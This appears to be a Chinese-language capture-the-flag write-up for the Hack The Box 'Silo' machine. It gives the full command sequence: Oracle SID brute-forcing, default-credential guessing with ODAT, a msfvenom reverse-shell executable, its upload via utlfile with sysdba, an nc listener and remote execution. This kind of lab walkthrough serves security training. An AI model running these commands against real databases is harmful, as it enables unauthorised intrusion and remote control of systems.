比较好奇每个靶机的英文名字是啥意思,silo有核武器发射井以及地下贮藏室的意思。
好,废话不多说,先打开靶机,注意一下提示:
进行扫描一下
nmap -sV -Pn -A 10.10.10.82
扫描结果显示,存在挺多的端口,80端口打开就是一个iis的页面,没什么东西,在msf中也没找到有用的东西。其中的1521和49159端口值得注意,在msf中使用oracle tns搜索,能找到一个漏洞tnsPosion_checker。
选中后运行,发现目标主机存在漏洞,好了,突破口找到了。
突破口是找到了,我该怎么利用呢?我找了一圈也没看到一个明白的。
继续通过搜索引擎,找到以下信息
第一个:msf中的auxiliary/scanner/oracle/sid_brute可以爆破sid,这对于后面继续的渗透有很大的作用。
第二个:有一个ODAT的工具,专门用于渗透oracle数据库。
我们先做第一个,虽然目前不清楚有啥用,但是我们先跑起来试试。
通过sid_brute,我们获取到了XE,PLSExtProc,CLRExtProc几个sid。
接着我们去安装一下ODAT,主页如下:
https://git哈布.com/quentinhardy/odat#installation-optional-for-development-version #hub,自己替换
去这个页面下载源码
https://git哈布.com/quentinhardy/odat/releases/ #hub,自己替换
将源码下载后放入kali,我是直接放在桌面上
然后安装一下依赖
pip3 install colorlog termcolor pycrypto passlib python-libnmap cx_Oracle
好,渗透的环境工具我们有了,接着我找到了这个walkthrough,大概知晓了ODAT的用法。
https://ranakhalil101.medium.com/hack-the-box-silo-writeup-w-o-metasploit-1e32a0ef2877
由于前面我们已经通过了msf找到了sid中的几个,接着我们来爆破一下数据库的凭据,在爆破之前,我们准备下字典。
cp /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt accounts/
由于解析的方式的不同,我们在vi下面替换一下字典中的字符,进入vi后,按一下esc,然后输入冒号,接着输入以下内容
%s/ /\//g
通过上述命令整理好字典后,我们开始爆破,通过以下命令
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/oracle_default_userpass.txt
运行半个小时后,拿到了一个用户名和密码(scott/tiger)
ODAT本身可以上传shell,因此我们先生成一个shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=1234 -f exe > shell.exe
将这个shell上传上去
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe /home/kali/Desktop/shell.exe
发现存在一个报错,说是权限不够
我们修改下,加上–sysdba选项,上传成功。
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe /home/kali/Desktop/shell.exe --sysdba
本地开启一个nc,监听1234端口
nc -lnvp 1234
然后继续用ODAT来执行上传上去的exe,顺利拿到shell
python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --exec /temp shell.exe --sysdba
接着拿到flag